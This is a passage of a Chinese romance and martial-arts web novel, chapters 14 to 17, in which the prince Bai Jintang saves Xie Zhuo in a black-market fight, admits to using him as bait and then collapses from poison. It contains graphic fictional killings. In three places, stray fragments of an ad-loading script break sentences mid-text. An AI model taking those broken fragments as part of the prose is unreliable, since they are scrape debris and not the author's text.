他们就知道,只要拿住了谢灼这小子,就不怕白锦棠不来! 面具被白锦棠随手丢到地上,十分嚣张道:“正是本王。” 谢灼紧绷的身体下意识松懈下来,有一种劫后余生的感觉,有点开心,但看见白锦棠这熟悉又欠揍的表情,谢灼瞬间就不爽了。 他都快被人打死了,这人才施施然的从天而降,英雄救美,这又是给谁看呢! 这般想着,谢灼将白锦棠搂在自己腰上的手打开了,闭上眼睛,一副生人勿扰的表情,看的出来很生气。 啧,脾气还挺大。 白锦棠调笑道:“你知不知道你这样很像被丈夫抛弃的可怜妻子?” 谢灼气的眼圈发红,不可置信地看着白锦棠,质问:“这难道不是事实嘛?!” 这的确是事实,但白锦棠才不觉得自己有错,毕竟自己都来救他了,自己还真是个以德报怨的大好人。 “你再来晚一步,就可以直接给我收尸了。” “哎,真是一朵可怜又无辜的小白花。”白锦棠评价道,“没事,委屈就哭出来吧,我哄你呀。” 说实在的,活了两世,他还真没见过谢灼掉眼泪,谢灼哭起来一定很好看,很可怜。 说着,白锦棠雀雀欲试地瞥了一样谢灼,见没掉眼泪,眼里闪过失望。 谢灼:“……”这人有病吧。 “好啦,不要闹小脾气了,怪幼稚的。” 谢灼冷笑:“我没有。” 白锦棠向来只听他喜欢听的,不爱听的自动忽略,根本不搭理谢灼剩下的话。 他挡在谢灼三人前面,漂亮的桃花眼带着寒意,落在了孙铭二人身上:“早听说黑市市主手底下养了不少听话的狗,就是你们吧?” 14. 气急攻心 孙铭:“你他妈的骂谁是狗呢?!” 白锦棠淡淡道:“当然是你啊。” 孙铭怒目圆睁:“你踏马的以为自己是谁!白锦棠,你不过就是个被贬出京都不受宠的王爷,一个早该死的病秧子!你当真以为我们不敢把你怎么样嘛!” 一旁的刘圩冷声打断孙铭:“和他说这么废话干什么,把他们都杀了,不就解决了。“ 孙铭:“也对,这个病秧子肯定是装的,敢这样单枪匹马过来,简直就是找死!” 他们人多势众,根本不适合硬钢,谢灼当即就有些着急了,他皱着眉,想要抓白锦棠,却被白锦棠直接躲开了。 白锦棠周身的气质变了,看死人一样看着孙铭,有些不耐烦了。 还真是一群蠢货,蠢到自己多说一句话,都觉得是在浪费时间。 白锦棠:“要打就打,废话忒多!” 孙铭:“给我上,把他们都给我杀了!!!” 一群打手一拥而上。 不比谢灼内力被封,全凭招式和力气杀人,白锦棠的招式,如苍龙入海,足以掀起千层巨浪,在人群中身形快如闪电,脚下步伐如鬼魅,一袭蓝衣,犹如滔天的海浪顷刻间就取了人的性命。 不稍片刻,尸体就铺满了整条街道,而白锦棠也不过是擦破点皮,施施然地站在那里,瞧着孙铭和刘圩。 “不是想杀我吗?躲这么远干什么?” 孙铭和刘圩一脸地震惊和愤恨。 “不可能!他怎么可能这么厉害!” “这都是巧合!给我上,都给我上!” 这还是那个不过是落水,就差点昏死的病秧子王爷吗! 可若是虚张声势—— 他们看着满地的尸体,和刚刚精湛的剑术和卓绝的内力,这怎么也不像是虚张声势啊! 想到这里,孙铭和刘圩已经有些瑟缩了。 就为抓个谢灼,就损失了一半,如今又多了个白锦棠,便又少了一半,地下城的人本来就不多,他们的人都在外面。 靠,他们实在没想到白锦棠竟然这么能打! 简直就是个杀神! 眼看着人都要杀到头顶上来了,孙铭猛踹身边的小弟,揪着小弟的脖领子将人提起来了:“我不是让人去千金阁寻求支援吗?!怎么还没滚回来!” 小弟支支吾吾,都快哭了:“我……我不知道啊!” 刘圩又问:“那外面呢!千金阁不行,那外面呢!为什么闹出这样大的事情,外面一点动静都没有!张索呢,他妈的哪去了!” “我真的不知道啊!” 孙铭啐了一口骂道:“他妈的,老巢都被人掀了,人都死哪里去了!!!” “刺啦!”白锦棠干脆利落地抹了一个人的脖子,马上就被围成粽子了,甚至还有心力分神,和孙铭说话,语气凉凉的,“是啊,你说他怎么还不来救你们呢?” “白锦棠,你别得意!”孙铭大吼。 白锦棠目光凌冽,手中长剑穿过包围圈,被狠狠地投了过去,孙铭吓得一把扯过身边的一个打手,挡在了自己面前。 长剑贯穿打手的脖颈,滴着血的剑尖就差一寸,停在了孙铭脖颈前! 一击不中,也彻底惹怒了孙铭等人,数十把长剑朝着白锦棠狠狠地劈了过来!白锦棠顺手抽出插.在地上的剑,横于身前,内力不要钱的注入,将众人掀翻在地! 不知是不是错觉,谢灼觉得白锦棠的脸色有些不好,潋滟的桃花眼有些暗淡,鼻尖上的小痣衬得他面色无光,有些灰败。 就连招式,也没有刚才稳。 明明刚刚不是这样的。 谢灼皱眉,心里烦躁不堪:“别打了!我们跑吧!” 白锦棠将唇边渗出的血迹抿了回去,冷冷清清地看过那群人,转头对谢灼道:“快了,再坚持一下。” 谢灼:“什么快了?!” 然后他就知道什么快了。 不远处传来一阵阵踩踏之声,像是有上百人起步跑来,以至于地面震动。是张索带着人赶过来了!单从数字上看,就不在三百人之下! 谢灼:“这就是你说的快了?” 都快被人包了,下饺子都没这么快! 张索是张景洪的心腹,如今白锦棠杀了他家主子,怕是不会这么好收场! “真是天助我也,白锦棠,你们今天一个人走不了!”孙铭和刘圩当即就得意洋洋地笑了起来。 “白锦棠,你现在跪下来求我们,说不定我们还能让你死的好看一点,毕竟整个万花楼都找不到你这好模样的人了,不躺床上真是太可惜了。” 两个人污言秽语层出不穷,是一副令人作呕的恶心样子。 谢灼怒斥:“放肆!” 手中的剑还滴着血,白锦棠忽然就笑了。 终于来了。 “呜——” 地下城忽然响起一声尖锐刺耳的口哨声音! 下一秒,无数身着轻甲的银月卫从四面八方袭来。 张索甚至都还没来得及和孙铭两个人说上话,下一秒就被银月卫砍青菜萝卜一样,全部都杀了! 前后不过一炷香。 苏铭和刘圩被吓到了,失声尖叫:“哪里来的兵!银月卫怎么可能会在这里,万花楼明明已经被张索团团围住了!” “谁告诉你们,是从万花楼进来的!”白锦棠红唇勾起,身形快如闪电,毫不留情的踩着人的脑袋当踏脚板,眨眼就来到孙铭的面前,当头劈下! 脑浆和鲜血喷了出来,旁边的刘圩彻底懵了,紧缩的瞳孔里,直愣愣地看着白锦棠朝着他砍下了第二刀! 脑袋咕噜落地,是死不瞑目的样子,同一时刻,张索的脑袋也被秋风一剑砍掉,当场断气。 快,太快了,快到谢灼几乎反应不过来。 主谋尽数被斩杀干净,只剩下一些小喽啰,银月卫抓他们就跟抓小鸡一样,一网打尽。 秋风落雨走在最前面,身后跟着肃然的银月卫,匆匆忙忙跑到白锦棠的面前:“黑市众人已尽数伏诛。属下救驾来迟,主子恕罪!” 白锦棠丢了手里的剑,声音有些冷:“下不为例。”秋风比他事先预料的晚了太多。 秋风:“谢主子,那这些人……” 紧绷的神经松懈下来,嘴唇就在一瞬间褪色,白锦棠依旧冷淡:“一切按照计划进行。” 秋风:“是。” 落雨从银月卫中走过来,有些着急,作势就要为白锦棠把脉,却被白锦棠躲开了,落雨皱眉:“主子!” 白锦棠风轻云淡,拢了拢衣袖,示意落雨先去看看谢灼那几个。 “本王无碍,去看看他们,别死了。” 落雨见白锦棠一副铁了心的样子,气的直跺脚,却只能不情不愿地走到谢灼面前,刚刚她都看了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凌灵和翠云都是些皮外伤,唯独谢灼的伤势格外严重。 “我给你把脉。”落雨将手探了过去,结果还没碰到,就被人躲开了,“你……” 谢灼正死死地看着远处的白锦棠,白锦棠正和手下说话,也不知在交代些什么,银月卫一波接着一波的离开,最后只剩下十来个,守在他们的身边。 “不解释一下吗?”谢灼走过去,瞧着白锦棠冷笑。 白锦棠诧异:“解释什么?” 谢灼再不愿意粉饰太平,直言:“解释一下,你把我们当诱饵,自己声东击西回了千金阁,毕竟以你的武功,杀一个市主不算难。” 白锦棠没否认,淡淡地看着谢灼,甚至还问:“哦,还有吗?” 谢灼咬着牙连连冷笑:“从一开始,你就算计我,故意让孙铭他们觉得你喜欢我,其实就是拿我当挡箭牌,好名正言顺地剿灭黑市。” “万花楼人多眼杂,有风吹草动必定传遍黑市,无论是你选择从万花楼入黑市,还是不把凤仙灭口!都是为了把事情闹大,引孙铭他们几个人过来!” “黑市的入口不止一个吧。”谢灼都快气笑了,“我猜,孙铭等人都有自己进黑市的密道。张景洪死后,孙铭等人知道定会来万花楼查看情况,而你的银月卫就是借此机会,从孙铭他们的密道进来黑市。” 白锦棠说他有事,让自己先走,也不过是为吸引目光混淆视听,自己则是回了千金阁,杀了市主,所以这边围堵闹得这么大,千金阁却迟迟没派人支援。 而后又在他们快被宰的时候,从天而降,明明银月卫已经到了,可还是为了把张索一网打尽,故意拖延时间,不让银月卫出手。 亏他刚刚还真担心这人会死! “是啊,就是你想的那样,可那又如何?”白锦棠坦然承认,讽刺道,“我把你带来,不就是为了这点用处?” 谢灼就是个毒夫! 白锦棠松了松肩膀,一脸欠揍地说:“天下没有白吃的午餐,况且,你这不是没死吗?” “!!!”谢灼气的眼圈发红,如果可以,他真想把这人的心给剖出来,看看到底是什么做的,还有这张嘴,是怎么轻飘飘地说出这样狠毒的话。 两人不再说话,气氛有些诡异,中间似乎有一把火在燃烧,看的其他人胆战心惊,不敢上前触霉头。 “你是不是很难受?感觉自己很委屈?”白锦棠忽然开口问道。 这不问还好,一问谢灼还真觉得有点子委屈,他不由得胡思乱想: 白锦棠这话是什么意思?莫非是在关心自己? ……好像也不是这么没良心。 见他不说话,白锦棠眼中冒出雀雀欲试的光,又问:“那你能哭个给我看看吗?” 谢灼:“……” 在白锦棠殷切兴奋的目光下,那点子委屈哽在心口,气的他胸口发疼。 谢灼怒吼:“白锦棠,你还是人嘛?!” 白锦棠答:“我是啊。”随即一脸惊奇地看着谢灼,“莫非你不是?” 本来就失血过多的谢灼,被白锦棠这句话气的眼前发黑,指着白锦棠似乎想要问候一下白锦棠,结果先把自己气的两眼一黑,晕过去了。 隐隐约约中,谢灼感觉有人接住了自己,耳边模模糊糊传来白锦棠的声音:“不会真被气死了吧?落雨,还有救吗……” 白锦棠,你这个王八蛋,毒夫! 15. 我心慌慌 谢灼醒来时,已经是三日后了,他看着熟悉的屋顶,费力地从床上坐了起来,房间空荡荡的,什么人也没有,他口干舌燥,难受的厉害,于是强撑着下了床,给自己倒了一杯水。 恰巧,房门被打开了。 翠云端着药进来了,见谢灼正坐在椅子上,连忙走过去,将手里的药放下,皱着眉道:“你怎么起来了?落雨姑娘说你的伤要好好养着,不能乱动,我扶你躺回去。” “不用,我自己能行。”谢灼声音闷闷的,嘴角绷着,浑身上下都透露着一种生人勿近。 看着谢灼一脸颓然,翠云试探性地道:“如今你醒了,可要我去和王爷说一声?” 谢灼冷哼一声,直接拒绝:“不用。”搞得自己上赶着想见他一样,他可还没忘记,白锦棠都干过什么事情。 翠云看着明显闹脾气地谢灼,微微叹息,劝慰道:“其实你昏睡的这几天,王爷十分关心你,用的都是最好的药。” 谢灼脸色缓和了些,挑眉:“他来看过我?” 翠云一噎:“这倒没有。” 谢灼冷笑:“那他提过我?” 翠云:“……也没有。” 谢灼气的拳头攥的咔嚓响:“这算哪门子关心。” 翠云斟酌了一下:“虽然没有,但你真的不想我告诉王爷你醒的事情吗?” “不想。”谢灼几乎是咬着牙说出来的。 “好的,我这就去禀告王爷,药放在这里,你记得喝。”说完,翠云一脸无奈地去找白锦棠了,临走还不忘给谢灼一个鄙夷的眼神。 谢灼:“……” 呵,就算白锦棠来了,他也不会原谅他的。 这件事情没完! 谢灼气呼呼的想,把翠云端来的药一饮而尽,躺在床上,百无聊赖地等着翠云回来。 过了大概一炷香时间,门被人推开了,谢灼瞬间来了精神,翠云再次推门进来,手里又端了一碗药。 “二牛,你在看什么?”翠云将门关上,走了过来,询问。 谢灼在确定翠云身后没人以后,立马收回目光,绷着脸道:“没什么,我挺好的,什么事也没有。”心里却直骂白锦棠是个负心薄幸的王八蛋,利用完了就丢。 翠云点头,将药放到桌子上:“那就好。” 谢灼心口闷得不行,嗓子眼里有话,却总是说不出来,把自己的脸色憋的通红。 翠云看着都替难受。 “我刚刚去过王爷那里了。” “哦。”谢灼冷漠道。 翠云指着那碗药,真切道:“虽然没见到王爷,但是落雨姑娘奉命王爷的命令,特意送来了药,说是你最近可能会有些上火,这药正是清热去火的良药。” 谢灼:“……”他现在心口就团着一窝火,白锦棠还真是神机妙算啊。 翠云又道:“可见的王爷是关心你的。” 谢灼沉默了一下,看着翠云认真道:“你是我姐姐,对吧?” 翠云颔首:“当然了,放心吧,我一直都站在你这一边。” 谢灼:“那你做什么处处帮白锦棠说话。” 翠云一脸惊讶,啊了一声:“有吗?我以为我这样说话你会开心一点。” 谢灼心如死灰:“……” 谢灼沉默了一会,又问:“他为什么不见你?” “说来也奇怪,自从三日前王爷回了王府,便再也没出过院子,门口甚至都多出来不少守备森严的银月卫,这几日,也就秋风落雨还有凌姑娘随意出入,剩下的人,想要见王爷,都要通报。” 翠云其实也觉得奇怪,但她身份特殊,这些事情并不是她能多嘴的。 “这样啊。”秋风落雨是白锦棠心腹,自由进出是情理之中。 可凌灵为什么也行? 一想到凌灵一口一个哥哥地叫着白锦棠,谢灼就觉得事情没这么简单。 在黑市时,白锦棠对凌灵态度就不一般,千金阁门口分开那会,还偷摸把自己随身携带的千机弩给了凌灵,对自己则是爱答不理的样子。 翠云知道谢灼心思深又多,试探性问道:“要不,我再去一趟,帮你问问?” “不用。”谢灼言简意赅地拒绝,直言道,“他爱来不来,我还不想见他呢,说不定,他正和他的好妹妹叙旧情呢。” 这话酸的不行,就连翠云都不由得多看了谢灼一眼,翠云还想再劝,结果谢灼赌气一样,将被褥蒙过头顶,看样子气的不轻。 落雨忽然就明白了,宁王为什么让落雨送这碗药。 翠云一脸无奈,她叮嘱道:“记得把药喝完,毕竟去火。” 或许连谢灼都没有意识到,自己这个举动,实在是像被抛弃的深宫怨妇。 听到翠云离开的脚步,谢灼从床上坐起来,毫不犹豫地把那碗药,全部倒进了旁边的花盆里,喂花了。 而在接下来的半个月,谢灼每日都黑着脸,时不时往门口望,大有一种望眼欲穿的意味,却闭嘴不提白锦棠的事情。 见谢灼的伤也好了差不多了,这样下去实在不是办法,翠云就提议,谢灼可以去看看白锦棠。 可是谢灼嘴硬的不行,当即就表示,才不去看白锦棠这个没心肝的毒夫。 来来回回提了几次,见谢灼义正言辞的样子,翠云只好闭嘴了。 而另一边,白锦棠院子门口的银月卫终于撤了。 黑市被翻了个底朝天,搜出来一堆的账本,还有不少黑市市主和一些官员之间的交易来往书信,里面的弯弯绕绕触目惊心,如今正摆在白锦棠的案头。 凌灵和落雨一左一右站在白锦棠两侧,等着白锦棠将手里的书信写完。 “你的信写好了吗?”白锦棠随口问凌灵。 凌灵这才把昨日写好的信递了过去,干巴巴道:“锦哥哥,我能不能不回去,我想呆在青州。” 前段时间,凌灵和家里闹了脾气,便离家出走,结果谁知道,才踏进青州地界,就被人骗了,几番周折,最后被卖进了黑市。 幸好遇见白锦棠,要不真就倒霉了。 黑市的水深,而白锦棠要做的事情,更是会让整个青州变天,所以凌灵不适合留在这里,于是白锦棠就让凌灵写了家书,稍后就会让人,把家书和自己写的信,一起送往京都。 想必过不了多久,国公府就会派人来接凌灵。 白锦棠少见地冷了脸色,直接拒绝:“不行。” 凌灵低垂着脑袋,扯住了白锦棠的袖子,拉了拉:“锦哥哥,我爹要是知道了,他会打断我腿的。” “那也比丢了命强。”白锦棠道,“回去休息吧,我和落雨还有事情要说。” 凌灵撅了噘嘴,这才作罢:“哦。” 凌灵一走,白锦棠就像是被抽干力气一样,靠在椅子上喘息起来。 “主子!”落雨见此,连忙给白锦棠倒了一杯水。 白锦棠小口的抿着,询问:“李 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 青山那边怎么样了?” 落雨道:“如今他有把柄在我们手上,暂时不会有动作……” 白锦棠摇了摇头:“李青山不会坐以待毙的,这几日府中小心点,等过些日子,国公府的人来了,我们就借国公府的手,除掉李青山。” 当今圣上多疑,他冒险剿灭黑市,已经让皇帝猜忌,如今又要动李青山,实在不是明智之举。 而国公府动手,那才叫名正言顺。 落雨一脸忧心,却也只能顺着白锦棠:“主子,您放心吧,你现在该做的就是好好养病!” 白锦棠点头,想要从椅子上站起来放松一下,结果才起身,就觉得眼前一黑,跌了回去。 落雨惊呼:“主子!” 白锦棠没有束发,乌黑的发丝披散在肩膀上,一袭雪白的衣裳把他衬得越发憔悴,桃花眼没了多情潋滟,鼻尖上的痣似乎也丢了颜色,他伏在案头,双耳轰鸣,明明看得见落雨张嘴,却什么也听不见。 就在落雨手忙脚乱地找药时,书房的门忽然被踹来了,只见今早还在翠云面前死鸭子嘴硬,不想来看白锦棠的谢灼,如今就站在门外,绷着脸往这边走。 “白锦棠!” 可惜白锦棠听不见,他只觉得自己喉咙发痒,胸口有什么东西淹了上来,随着剧烈地咳嗽,一口鲜血涌上喉咙,吐了出来。 血水喷溅,染湿了桌子上的信纸。 白锦棠想要开口说自己没事,可一张嘴,鲜血就像是不要钱一样往外流,只能闭上了嘴。 意识逐渐模糊,眼前也看不见了。 谢灼:“别睡,白锦棠,你别睡,清醒一下!” 落雨拿出药,手忙脚乱地往白锦棠嘴里喂。 奈何白锦棠如今已经神志不清,脑袋靠在谢灼身前,浑身冰凉刺骨,唇齿紧紧地抿着,无论如何,就是不打开。 “主子,你吃药啊!吃了药就没事了!”这药却怎么也喂不进去,落雨都快哭了。 谢灼也急了,他实在没想到,白锦棠会变成这个样子! 明明在黑市的时候还好好的! 不过才过半个月,就把自己搞成这个样子! 谢灼顾不得什么温柔不温柔,拇指和食指直接捏住白锦棠的脸颊,用力,逼着白锦棠张嘴。 “把药给我。”谢灼命令道。 落雨连忙把药递过去。 谢灼将药放到了白锦棠的舌头上,然后捂住了他的嘴,不让他吐出来。 虽然粗暴,但好歹让白锦棠吃了药,药丸入口即化,感受到白锦棠下意识地吞咽,体温似乎也开始回转,谢灼这才微微松了一口气。 落雨露出一副劫后余生的表情,又哭又笑地:“呜呜,太好了,太好了,谢谢你!” 怀里的人面色苍白,几乎快要碎掉,谢灼心头针扎一样难受,僵着脸不说话,直接将人打抱横起,将他放在屋子里的软榻上,这才去问:“好端端为什么会吐血,到底怎么回事?” 他现在心里发慌,对白锦棠的怨怼竟然因为这口血消失的一干二净,反而没由得一阵后悔,自己为什么没早点来看白锦棠? 合着这些日子,不是白锦棠不愿意来看自己,而是病的下不了床榻了。 这样想着,又是一阵后怕。 谢灼从袖子拿出一块绣着海棠的帕子,为白锦棠擦着唇角的血,忽然轻笑出声:“你不说我也知道。” 落雨心里一惊:“……什……什么?” 16. 天长地久 白锦棠的身体状况其实一直不好,半寸相思之毒如跗骨之蛆,不断地折磨他。 这八年来好生将养着,又用各种天灵地宝吊着,平日也没什么事。 可偏偏白锦棠动了内力,那本来控制住的毒,随着一身内力在筋脉里流通,不断地摧毁着他的身体,这才让他大半个月来,连床都下不了。 多亏了那蓬莱草做成了的蓬莱丹,这两天情况才好点,能下床后,白锦棠马不停蹄地把凌灵叫了过来,打算好好处理一下青州的事情。 没想到,还是高估了自己。 不过白锦棠也习惯了,迷迷糊糊地睡了两个时辰就醒了。 一睁眼,就见谢灼趴在他的床榻边上,已经睡过去了,脑袋靠在他的手腕旁边,俊美到了脸庞眉头微微蹙着,似乎有些不安,他的手紧紧地抓着他的手,同他十指相扣。 白锦棠有些讶然。 这货怎么会来他的院子,最主要是,竟然没有趁人之危的想要杀他?还真是稀奇。 这样想着,白锦棠起了逗弄的心思,他悄然从床榻上起身,另一只手则是捏住了谢灼的鼻子。 谢灼因为呼吸不顺憋的通红,猛地睁开眼睛,正好对上了白锦棠那双含笑的桃花眼。 白锦棠悠悠调侃:“夫人昨夜是偷鸡还是摸狗去了?照顾病人还不忘打个盹偷个懒,不太称职哦?” 谢灼瞪了白锦棠一样,冷笑:“你是鸡还是狗?” “啧。”白锦棠感慨了一句,“真不经逗。” 谢灼下意识就想怼回去,但是看着眼前人依旧苍白如纸的脸色,又憋了回去。 两个人相继无言,不知道过了多久,谢灼率先开口:“你为什么不解释?” 还在思考如何把自己手抽出来的白锦棠有些迷茫:“什么?” 谢灼好脾气地重复一遍:“在黑市的时候,我冤枉你,你为什么不解释?” “啊?”白锦棠更懵了,“你冤枉我了吗?” 谢灼沉吟片刻,然后道:“我都知道了,你不用瞒我。” 白锦棠:“?”自己瞒他什么了? 见白锦棠还在晕,谢灼只能咬着牙说的更清楚一点。 “落雨已经告诉我了,按照你的计划,银月卫早就该到了,他们会救下我,再去剿灭张索带来的那些人。可秋风那里出了点问题,导致计划推迟,就只能你亲自来救……” “你身体本来就不好,却为了救我,强行用武,这才变成这样,而我竟然还质问你。” 天哪,他该是有多混账啊! 当时白锦棠明明已经是强弩之末,为了不让自己看出端倪,让落雨先给自己看伤,自己却不识好歹地拒绝了,还当着所有人的面质问白锦棠。 自己还是人吗?! 自己和白锦棠无缘无故的,白锦棠都愿意帮他救人了,自己当一下诱饵怎么了?这不是理所应当的吗。 想到这里,谢灼不由得开始难受。 甚至对自己有些深恶痛绝。 旁边的白锦棠默默地看着谢灼脑补这么多有的没的,心里也有些震惊: 原来他竟是这般舍己为人的人,真是让人太感动了。 天地良心,他是真心拿谢灼当诱饵的。 至于为什么用武功,那是因为自己逼着黑市市主写好认罪的书信后,想着,反正武功用都用了,也不差这一星半点的,就去看看谢灼那边的情况,毕竟凌灵还在那里。 谁知道等他赶过去,秋风那家伙竟然来晚了。 所以,只能由他英雄救美了。 白锦棠神情复杂地看着谢灼。 他不记得前世谢灼想象力这么丰富的啊?这自圆其说的本事,令人叹为观止。 谢灼还在自顾自道:“难道你就没有一点责任吗,你不说我怎么知道?人长嘴不就是说话的吗?” 白锦棠难得没反驳:“……” 谢灼见白锦棠不吭声,埋怨道:“你怎么不说话了?” 白锦棠挑了挑眉:“你先把我手松开。” 谢灼这才发现,自己和白锦棠十指相扣,一直没松,耳根和脸颊瞬间就红了,闪电似地收回手,整个人像只煮熟的虾米一样,目光闪躲,支支吾吾道:“你……你别误会……我没想对你怎么样。” 白锦棠揉了揉自己手腕,笑意盈盈地看着他:“是吗?” “……”谢灼现在心里有一万只草泥马奔腾而过,那是又气又急又羞愤。 靠,他为什么要抓白锦棠的手不放,这也就算了,为什么还被发现了! 他发誓,他对白锦棠没有一丁点的觊觎之心! 毕竟傻逼才会对给自己下毒的人这样。 白锦棠笑着说:“其实你也别多想。” “什么?”谢灼被吸引了注意,不解地看着白锦棠。 白锦棠拍了拍谢灼的肩膀,委婉道:“别想太多,你只是顺便而已。” 刚刚羞恼的内心被人泼了一盆凉水,如今透心凉,谢灼皮笑肉不笑道:“什么意思?” 白锦棠:“意思就是,我是去救凌灵的,你真的就是顺手。” 谢灼:“……”好一个顺手。 那他刚刚真情流露岂不是成了一个笑话。 枉他见白锦棠吐血心急如焚,愧疚地不行。这辈子,他都没被人这么耍过,他就说嘛,白锦棠这个毒夫会这么好心?! 谢灼被气笑了:“王爷,您真的特别好,真不敢想象世界上竟然有您这样的人。” 白锦棠从善如流:“也就一般般吧。” 谢灼觉得自己就是在自取其辱。 就在气氛陷入诡异,落雨和凌灵也得到了消息,着急忙慌地来看白锦棠的情况,才进屋,落雨就直接抓着白锦棠的手腕,开始把脉,以至于都没注意到这诡异的沉默。 落雨松了口气:“没什么大碍了,好歹是压制住了,主子,你以后可不能再逞强了。” “下次我会注意的。” 旁边的凌灵却发现了不对,毕竟谢灼那脸色黑的能滴水,眼神都快能杀人了,凌灵眨了眨眼睛,忽然问道:“锦哥哥,你和嫂嫂吵架了啊?” 白锦棠听见这个称呼,挑眉:“嫂嫂?” “是啊。”凌灵笑的开心,眼睛发亮,将在鬼市和谢灼的对话从头到尾的叙述了一遍,还不忘记艺术加工一下。 白锦棠听的十分认真,时不时还会点点头,一边的谢灼只觉得整个人都快烧起来了,恨不得直接找个地缝钻进去,谁能想到,凌灵竟然是个大喇叭啊!就这么水灵灵说出去了,他不要脸的吗? “俊美无双,倾国倾城?” 谢灼扭头闭眼,闭口不提。 白锦棠嘴角含笑,看着一脸自闭的谢灼,意味深长道:“哦——” “夫人原来对自己的评价是这样的。”白锦棠忍不住笑出来了,“倒也是实话,毕竟夫人这张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脸,深得我心。” 谢灼继续装死。 “哎,本来我还不信,但现在我信了。”凌灵一脸激动道,“锦哥哥,你都不知道,你当时晕倒的时候,嫂嫂都快急哭了!在你的床前寸步不离,生怕自己走了,你人就没了!天呐,这果真是真爱啊!” 谢灼:“……” 狗屁急哭了,狗屁寸步不离! 他才没有!他就是单纯的……有这么一丁点的着急而已。 凌灵:“锦哥哥,有他做我嫂嫂,我就放心了。” 谢灼:“……”谁能把这个女人的嘴堵上,他真的不想活了! 谢灼快要绷不住了。 白锦棠听完,已经彻底绷不住了,他摩挲着手腕上檀木手串,笑着调侃谢灼:“没想到,夫人早就对我情根深种了,我误会夫人了。” 谢灼咬牙:“我只是顺手,顺便你懂吗。” 白锦棠挑眉附和:“嗯,夫人说什么就是什么,我都听夫人的。”小样,还挺记仇的。 谢灼:“……” 凌灵一听,立马急了,坐到白锦棠的身边,为谢灼辩解:“才不是顺手!更不是顺便!他就是爱你啊!” 谢灼:“……凌姑娘,请你不要瞎说啊。” 凌灵严肃道:“我才没有瞎说,嫂嫂你默默为锦哥哥做了这么多,这般不求回报,对我也这么好,我不允许锦哥哥不知道!嫂嫂,你要说出来啊,万一被别的狐狸精捷足先登了可怎么办,不过没关系,无论以后怎么样,我都站在你这边!” 谢灼:“……”这孩子脑回路有点清奇。 能见谢灼吃瘪,白锦棠觉得这天底下再没有比这更让人开心的事情了。 白锦棠在一边添油加醋,煽风点火,感慨:“灵儿啊,你嫂嫂对我喜欢不行,脸皮有这样薄,你这样直白,万一羞跑了怎么办?” “锦哥哥,这就是你的问题了。”凌灵扭头对白锦棠道。 白锦棠有些摸不到头脑:“啊?” 凌灵像个判官一样,表情认真:“刚刚我来之前,你和嫂嫂是不是生气了?” 白锦棠一噎,含糊道:“一点小摩擦。” “千里大坝毁于蚁穴!哥哥,这不是小摩擦!嫂嫂这么好的人,为哥哥做了这么多的事情,却还不求回报,这样的好夫君,就是打着灯笼也找不到了。哥哥,你要多迁就嫂嫂,两个人要相互理解和包容,只有这样才能天长地久。” “……”白锦棠后悔刚刚看笑话了,现在自己成笑话了。 白锦棠艰难道:“其实你误会了,我和他没感情。” 结果,还不等凌灵回话,谢灼忽然抓住了他的手腕,哭哭啼啼地抹眼泪,一副被催了心肝的样子。 “王爷,可是我哪里做的不对,哪里做的不好?”谢灼抽泣一下,继续道,“你千万别不要我,我真的能改的,我是真心爱你的。” “……”白锦棠挣了挣,没挣脱。 “锦哥哥?”凌灵一脸控诉地看着白锦棠,用眼神质问白锦棠的薄情负心。 而谢灼更来劲了,将白锦棠的手抓的更紧了,深情款款道:“王爷?” 说着,还故意捏了捏白锦棠莹白如玉的指尖,似乎觉得不过瘾,又揉了揉,一副流氓登徒子的模样,偏偏那双凤眸里,却满是伤心和痛苦。不知道还真以为是个被负心汉抛弃的小媳妇。 白锦棠:“……” 好一个谢灼。 17. 青州知府 好不容易将凌灵打发走了,白锦棠看着还杵在原地的谢灼,淡淡吩咐道:“既然没什么事,你也下去吧。” 谢灼没挪步子,坐在床边不动,看着白锦棠的脸,也不知道在想些什么。 落雨:“王爷,该喝药了。” 白锦棠从落雨的手里接过药。 这是压制他的毒的药。 白锦棠最怕苦了,所以每次喝药,落雨总会备上一些糖果蜜饯放在一边,好让白锦棠吃完药,就能吃到。 药温度刚好可以入口,白锦棠眉头微微皱着的,端起药碗一饮而尽。 果然,药这东西即使天天喝,也不会有习惯的那一天,白锦棠眼神痛苦,将碗递给落雨后,就伸手去拿蜜饯。 结果却被另一只手截胡,谢灼端着蜜饯的碟子,从里面挑出一个,喂到了白锦棠的嘴边,白锦棠一愣,伸手去接,结果被谢灼躲开了。 白锦棠不由多看了一眼谢灼,谢灼神色严肃冷峻,没了刚刚的不正经,恍惚中竟然和前世逐渐重合,让白锦棠心里一紧。 谢灼低声道:“你没净手,我喂你。” 白锦棠倒也没嫌弃,微微倾头,就这谢灼的手,咬住了蜜饯。 甜腻的味道在口腔中蔓延开来,压住了舌尖上苦到发麻的味道,紧紧皱着的眉头终于舒展开来。 白锦棠嚼着蜜饯:“你怎么还不走?” 白锦棠身上只穿了雪白的亵衣,外面罩着袍子,松垮垮地披在肩膀上,发丝散在两侧,似乎精神有些不佳,如今病殃殃的靠在床头,苍白的过分,像是一块易碎的瓷器。 谁能想到,前些日子还手握宝剑,在黑市里大杀四方的宁王,成了这副样子。 “你的毒是怎么回事?”谢灼终于问出了自己想问的事情。 白锦棠一僵,旋即笑着说:“怎么想起来问这个了,你这是想替我报仇不成?” 这人就没个正形。 “我巴不得你去死,还报仇?你是刚刚演上瘾了吗?”谢灼毫不留情地讥讽道,“你哪一天要是真死了,我非请人在王府门口吹三天喇叭,祝你早登极乐。” “还挺绝情的。” 谢灼冷哼:“有你绝情?你就是个狼心狗肺的混账。” 白锦棠也不生气,笑意盈盈道:“确实混账,那我祝你早日得偿所愿。” 还以为会被怼回去的谢灼一噎:“你倒还真盼着自己死?” 白锦棠打了个哈欠:“有句话怎么说来着,时也命也?如今我这个情况,能活过而立便已经上天眷顾了。” 不知道为什么,听到这话,谢灼心里有些酸,他看着嘴角还噙着笑意的人,再次问:“你不怕死?” “怕啊,我可怕死了。不仅怕死,我还怕疼怕苦,怕一切让我不舒服的东西。” 没人能和死亡和解,他还有很多事情要去做,尤其是他这种已经死过一次的人,那就更怕死了。 